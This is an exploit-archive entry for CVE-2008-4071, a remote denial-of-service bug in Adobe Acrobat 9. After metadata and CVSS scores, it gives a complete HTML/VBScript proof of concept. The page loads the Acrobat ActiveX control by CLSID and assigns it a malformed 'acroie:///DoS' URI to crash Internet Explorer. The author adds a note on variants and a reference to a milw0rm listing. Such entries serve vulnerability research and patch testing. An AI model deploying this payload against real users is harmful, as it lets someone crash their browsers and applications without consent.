Adobe Acrobat 9 ActiveX Remote Denial of Service Exploit

2008.09.17

Credit: Jeremy Brown

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-4071

CWE: CWE-20
CWE-noinfo

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Partial

<!-- Jeremy Brown (0xjbrown41@gmail.com/jbrownsec.blogspot.com)
Adobe Acrobat 9 Remote DoS (--) Tested on AA9/IE7/Vista
I can't seem to reproduce this on XP! Oh well.
Of course the most popular app for reading pdfs is SfS/SfI :)
Basically it will crash with any uri that adobe doesn't like.
Also interesting: try with file:///DoS and look in bottom left area -->
<html><body>
<object id=target classid=clsid:CA8A9780-280D-11CF-A24D-444553540000></object>
<script language=vbscript>
arg1="acroie:///DoS"
target.src = arg1
</script>
</body></html>

References:

http://www.milw0rm.com/exploits/6424

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